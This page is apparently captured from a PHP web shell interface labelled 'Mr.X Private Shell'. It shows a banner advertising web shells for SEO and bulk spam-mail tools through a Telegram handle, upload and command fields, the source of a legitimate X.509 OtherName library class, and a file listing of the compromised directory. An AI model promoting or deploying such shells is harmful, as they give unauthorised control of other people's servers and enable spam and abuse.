__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

declare(strict_types=1);

namespace SpomkyLabs\Pki\X509\GeneralName;

use SpomkyLabs\Pki\ASN1\Element;
use SpomkyLabs\Pki\ASN1\Type\Constructed\Sequence;
use SpomkyLabs\Pki\ASN1\Type\Primitive\ObjectIdentifier;
use SpomkyLabs\Pki\ASN1\Type\Tagged\ExplicitlyTaggedType;
use SpomkyLabs\Pki\ASN1\Type\Tagged\ImplicitlyTaggedType;
use SpomkyLabs\Pki\ASN1\Type\TaggedType;
use SpomkyLabs\Pki\ASN1\Type\UnspecifiedType;

/**
 * Implements *otherName* CHOICE type of *GeneralName*.
 *
 * @see https://tools.ietf.org/html/rfc5280#section-4.2.1.6
 */
final class OtherName extends GeneralName
{
    /**
     * @param string $type OID
     */
    private function __construct(
        private readonly string $type,
        private readonly Element $element
    ) {
        parent::__construct(self::TAG_OTHER_NAME);
    }

    public static function create(string $type, Element $element): self
    {
        return new self($type, $element);
    }

    /**
     * @return self
     */
    public static function fromChosenASN1(UnspecifiedType $el): GeneralName
    {
        $seq = $el->asSequence();
        $type_id = $seq->at(0)
            ->asObjectIdentifier()
            ->oid();
        $value = $seq->getTagged(0)
            ->asExplicit()
            ->asElement();
        return self::create($type_id, $value);
    }

    public function string(): string
    {
        return $this->type . '/#' . bin2hex($this->element->toDER());
    }

    /**
     * Get type OID.
     */
    public function type(): string
    {
        return $this->type;
    }

    /**
     * Get value element.
     */
    public function value(): Element
    {
        return $this->element;
    }

    protected function choiceASN1(): TaggedType
    {
        return ImplicitlyTaggedType::create(
            $this->tag,
            Sequence::create(ObjectIdentifier::create($this->type), ExplicitlyTaggedType::create(0, $this->element))
        );
    }
}

Filemanager

Name Type Size Permission Actions
DNSName.php File 1.23 KB 0664
DirectoryName.php File 1.53 KB 0664
EDIPartyName.php File 1.17 KB 0664
GeneralName.php File 3.27 KB 0664
GeneralNames.php File 4.47 KB 0664
IPAddress.php File 2.1 KB 0664
IPv4Address.php File 1.26 KB 0664
IPv6Address.php File 1.63 KB 0664
OtherName.php File 1.9 KB 0664
RFC822Name.php File 1.15 KB 0664
RegisteredID.php File 1.32 KB 0664
UniformResourceIdentifier.php File 1.16 KB 0664
X400Address.php File 1.13 KB 0664
Filemanager